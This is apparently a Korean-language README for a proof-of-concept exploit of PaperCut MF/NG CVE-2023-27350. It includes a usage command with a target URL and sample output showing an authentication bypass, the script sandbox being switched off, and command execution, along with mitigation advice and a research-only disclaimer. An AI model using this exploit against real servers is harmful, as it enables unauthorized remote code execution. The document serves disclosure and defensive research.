horizon3ai/cve-2023-27350PaperCut CVE-2023-27350에 대한 개념 증명 익스플로잇으로, 인증 우회와 내장 스크립팅 남용을 연결하여 취약한 MF/NG 인스턴스에서 원격 코드 실행을 달성합니다.
CVE-2023-27350에 영향을 받는 PaperCut MF/NG를 위한 POC
취약점의 기술적 근본 원인 분석, 침해 지표, 인터넷 노출 현황은 당사 블로그에서 확인할 수 있습니다: https://www.horizon3.ai/papercut-cve-2023-27350-deep-dive-and-indicators-of-compromise
이 POC는 인증 우회 취약점과 내장 스크립팅 기능 악용을 연쇄적으로 사용하여 코드를 실행합니다.
python3 CVE-2023-27350.py --url 'http://10.0.40.56:9191' --command calc.exe
[*] Papercut instance is vulnerable! Obtained valid JSESSIONID
[*] Updating print-and-device.script.enabled to Y
[*] Updating print.script.sandboxed to N
[*] Prepparing to execute...
[+] Executed successfully!
[*] Updating print-and-device.script.enabled to N
[*] Updating print.script.sandboxed to Y
최신 버전으로 업데이트하거나 PaperCut 보안 권고에 포함된 지침에 따라 완화하십시오.
이 소프트웨어는 순수하게 학술 연구 목적과 효과적인 방어 기술 개발을 위해 제작되었으며, 명시적으로 승인된 경우를 제외하고 시스템을 공격하는 데 사용하기 위한 것이 아닙니다. 프로젝트 유지 관리자는 소프트웨어의 오용에 대해 책임을 지지 않습니다. 책임감 있게 사용하십시오.